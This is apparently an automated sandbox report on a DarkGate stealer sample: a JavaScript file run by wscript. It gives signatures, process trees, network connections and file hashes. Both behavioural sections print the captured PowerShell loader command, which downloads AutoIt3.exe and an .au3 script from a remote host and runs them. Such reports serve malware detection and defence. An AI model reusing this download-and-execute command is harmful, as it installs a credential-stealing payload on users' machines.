Malware Analysis Report

2024-11-30 11:15

Sample ID 231103-vmzqxsfc6z
Target 04112023_0107_TQFWEDZVXCG21sad.zip
SHA256 2c1b2f7afd549e86457ad80a8800194d11ef2a98a185dc73d4241237e7cc06ed
Tags
darkgate user_871236672 stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

2c1b2f7afd549e86457ad80a8800194d11ef2a98a185dc73d4241237e7cc06ed

Threat Level: Known bad

The file 04112023_0107_TQFWEDZVXCG21sad.zip was found to be: Known bad.

Malicious Activity Summary

darkgate user_871236672 stealer

DarkGate

Downloads MZ/PE file

Blocklisted process makes network request

Executes dropped EXE

Checks computer location settings

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Checks processor information in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-11-03 17:07

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-11-03 17:07

Reported

2023-11-03 17:09

Platform

win7-20231020-en

Max time kernel

122s

Max time network

126s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\TQFWEDZVXCG21sad.js

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\TQFWEDZVXCG21sad.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://showmoreresultonliner.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://showmoreresultonliner.com:2351/msiwqueycvl' -OutFile 'wqueycvl.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'wqueycvl.au3'"; Stop-Process -Name "WScript"

Network

N/A

Files

memory/1684-4-0x000000001B3B0000-0x000000001B692000-memory.dmp

memory/1684-5-0x0000000002410000-0x0000000002418000-memory.dmp

memory/1684-6-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

memory/1684-7-0x00000000027C0000-0x0000000002840000-memory.dmp

memory/1684-8-0x00000000027C0000-0x0000000002840000-memory.dmp

memory/1684-9-0x00000000027C0000-0x0000000002840000-memory.dmp

memory/1684-10-0x00000000027C0000-0x0000000002840000-memory.dmp

memory/1684-11-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

memory/1684-12-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-11-03 17:07

Reported

2023-11-03 17:09

Platform

win10v2004-20231023-en

Max time kernel

138s

Max time network

153s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\TQFWEDZVXCG21sad.js

Signatures

DarkGate

stealer darkgate

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2231940048-779848787-2990559741-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\tepp\AutoIt3.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\tepp\AutoIt3.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\tepp\AutoIt3.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\TQFWEDZVXCG21sad.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://showmoreresultonliner.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://showmoreresultonliner.com:2351/msiwqueycvl' -OutFile 'wqueycvl.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'wqueycvl.au3'"; Stop-Process -Name "WScript"

C:\tepp\AutoIt3.exe

"C:\tepp\AutoIt3.exe" wqueycvl.au3

Network

Country Destination Domain Proto
US 8.8.8.8:53 59.128.231.4.in-addr.arpa udp
US 8.8.8.8:53 showmoreresultonliner.com udp
US 195.123.233.152:2351 showmoreresultonliner.com tcp
US 8.8.8.8:53 152.233.123.195.in-addr.arpa udp
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 195.123.233.152:2351 showmoreresultonliner.com tcp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 2.136.104.51.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 126.211.247.8.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 66.112.168.52.in-addr.arpa udp

Files

memory/3748-0-0x0000025F2DA30000-0x0000025F2DA52000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fpqwfi4v.wky.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3748-10-0x00007FFB65E30000-0x00007FFB668F1000-memory.dmp

memory/3748-11-0x0000025F14DF0000-0x0000025F14E00000-memory.dmp

memory/3748-12-0x0000025F14DF0000-0x0000025F14E00000-memory.dmp

memory/3748-13-0x0000025F14DF0000-0x0000025F14E00000-memory.dmp

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

memory/3748-27-0x00007FFB65E30000-0x00007FFB668F1000-memory.dmp

C:\tepp\wqueycvl.au3

MD5 759e7da9ea01d9a53167ee073eaf62c0
SHA1 e9d1ce21c55373f14fe887694fde9cb2af8fd8d2
SHA256 b7282bcc2ea0274972d21e06713a50f1dc27cd1882eb98edf1e6a9e3868c97e6
SHA512 376b48daa402d92f21698b0a506f339efc5c0594ed736948fc78f34be6f19acb6ad4f5a0c7eeb1d0f22f9b1dea95e968d1b1feb8d2305bc145b5d0a1013b5144

memory/3808-30-0x00000000017D0000-0x0000000001BD0000-memory.dmp

memory/3808-31-0x00000000049E0000-0x0000000004D0A000-memory.dmp

memory/3808-32-0x00000000049E0000-0x0000000004D0A000-memory.dmp